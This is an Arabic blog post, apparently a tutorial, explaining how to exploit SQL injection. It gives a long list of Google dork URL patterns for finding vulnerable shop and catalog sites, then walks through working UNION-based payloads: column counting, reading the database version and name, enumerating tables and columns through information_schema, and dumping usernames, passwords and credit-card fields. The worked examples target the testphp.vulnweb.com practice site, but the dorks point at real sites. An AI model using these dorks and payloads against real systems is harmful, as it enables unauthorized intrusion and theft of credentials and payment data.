الخميس، 9 يوليو 2020

ثغرة sql injection شرح حصري ومفصل


السلام عليكم
  

في هذه التدوينة سأشرح مفهوم الثغرة وكيفية استغلالها وهناك شرح بالفيديوا شاهدوه

لتفهموا أكثر .


ما هو SQL Injection:

sql injection  من بين أكثر الثغرات تواجدا على مواقع الأنترنيت و هو

ببساطة هجوم يتم فيه حقن كود sql بتطبيق الويب حتى يتم استخراج

البيانات من قاعدة االبيانات التي يعتمد عليها الموقع ، والثغرة تعتمد على

خطأ في عدم معاينة ما يتم إدخاله قبل ان يتم تمريره لقاعدة البيانات ،كما

يمكنك تجاوز نافذة authentication باستعمال هذه الثغرة،  و بالنسبة

لتدونتنا سنقوم فقط بشرح استخراج البيانات باعتماد Union .



هناك العديد من الطرق ﻹكتشاف الثغرات ومن بينها الدورك

وهو عبارة عن كود يوضع في جوجل لتضييق البحث عن الشيء المراد

البحث عنه ,


cat.asp?cat=

productlist.asp?catalogid=

Category.asp?category_id=

Category.cfm?category_id=

category.asp?cid=

category.cfm?cid=

category.asp?cat=

category.cfm?cat=

category.asp?id=

index.cfm?pageid=

category.asp?catid=

Category.asp?c=

Category.cfm?c=

productlist.cfm?catalogid=

productlist.asp?catalogid=

viewitem.asp?catalogid=

viewitem.cfm?catalogid=

catalog.cfm?catalogId=

catalog.asp?catalogId=

department.cfm?dept=

department.asp?dept=

itemdetails.cfm?catalogId=

itemdetails.asp?catalogId=

product_detail.asp?catalogid=

product_detail.cfm?catalogid=

product_list.asp?catalogid=

product_list.cfm?catalogid=

ShowProduct.cfm?CatID=

ShowProduct.asp?CatID=

search_results.cfm?txtsearchParamCat=

search_results.asp?txtsearchParamCat=

itemdetails.cfm?catalogId=

itemdetails.asp?catalogId=

store-page.cfm?go=

store-page.asp?go=

Detail.cfm?CatalogID=

Detail.asp?CatalogID=

browse.cfm?category_id=

view.cfm?category_id=

products.cfm?category_id=

index.cfm?Category_ID=

detail.cfm?id=

category.cfm?id=

showitems.cfm?category_id=

ViewProduct.asp?PID=

ViewProduct.cfm?PID=

shopdisplayproducts.asp?catalogid=

shopdisplayproducts.cfn?catalogid=

displayproducts.cfm?category_id=

displayproducts.asp?category_id=

DisplayProducts.asp?prodcat=

DisplayProducts.cfm?prodcat=x

productDetail.cfm?ProductID=

products.php?subcat_id=

showitem.cfm?id=21

productdetail.cfm?pid=

default.cfm?action=46

products_accessories.asp?CatId=

Store_ViewProducts.asp?Cat=

category.cfm?categoryID=

category.asp?category=

tepeecart.cfm?shopid=

view_product.asp?productID=

ProductDetails.asp?prdId=12

products.cfm?ID=

detail.asp?product_id=

product_detail.asp?product_id=

products.php?subcat_id=

product.php?product_id=

view_product.cfm?productID=

product_details.asp?prodid=

shopdisplayproducts.cfm?id=


تطبيق على موقع مصاب ب sql injection :

بعد ايجاد موقع ما سنقوم بالدخول اليه وو ضع هذه العلامة ' امام الرابط

حتى نتمكن من معرفة هل الموقع يقوم بفلترة ما يتم إدخاله أم لا ، و وجود

 الثغرة يكون عن طريق ظهور رسالة مشابهة لهذه :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

المرحلة الثانية

في هذه المرحلة سنقوم بإضافة order by و رقم العمود و نستمر في

تغيير رقم العمود حتى يظهر الخطأ ، بهذه الطريقة نحدد عدد الأعمدة,


المرحلة الثالثة

في هذه المرحلة سيكون الهذف هو تحديد الأعمدة columns المصابة

بالثغرة و التي سنستعملها في استخراج و إظهار البيانات من قاعدة البيانات

و لهذا الغرض سنستعمل الكود Union و بإضافة رمز - لقيمة المتغييرId


testphp.vulnweb.com/artists.php?artist=-1 union all select 1,2,3--


المرحلة الرابعة

سنقوم باستخراج المعلومات التالية وإظهارها على العمود 2 و أهمها هي

إصدارقاعدة البيانات


user() إظهار المستعمل
 
testphp.vulnweb.com/artists.php?artist=-1 union all select 1,user(),3--

أو

version() إصدار قاعدة البيانات
testphp.vulnweb.com/artists.php?artist=-1 union all select 1,version(),3--

أو

database()إسم قاعدة البيانات
testphp.vulnweb.com/artists.php?artist=-1 union all select 1,database(),3--



إصدار قاعدة البيانات عادة ما يكون 5 ،لذا أن كل الإصدارت أقل

من 5 لا تحتوي على information_schema و بالتالي سنكون

ملزمين على تخمين إسم الجداول .

المرحلة الخامسة


سنقوم باستخراج مجموع الجداول والبحث عن الأهم و هو غالبا الذي يحمل

الأدمين وبياناته الشخصية :

www.testphp.vulnweb.com/artists.php?artist=-1 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--


بعد القيام باستخراج الجداول ستقوم باختيار جدول معين مثل users


المرحلة السادسة


بعد أن قمنا بتحديد الجدول يجب أن نقوم بتحويله إلى صيغة Hex فمثلا

users سيصبح 0x7573657273

www.testphp.vulnweb.com/artists.php?artist=-1 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273


 المرحلة السابعة

أخيرا نأتي لاستخراج المعلومات وسنقوم بالفصل بين email و pass و

uname ب 0x3a وهي العلامة :  بالهيكس ,

http://testphp.vulnweb.com/artists.php?artist=-1 union all select 1,concat(uname,0x3a,pass,0x3a,cc),3 from users--



هكذا أكون قد أتممت هذا الشرح ,اتمنى أن تستفيدوا منه


https://pastebin.com/JJRR1TJJ


تعبيراتتعبيرات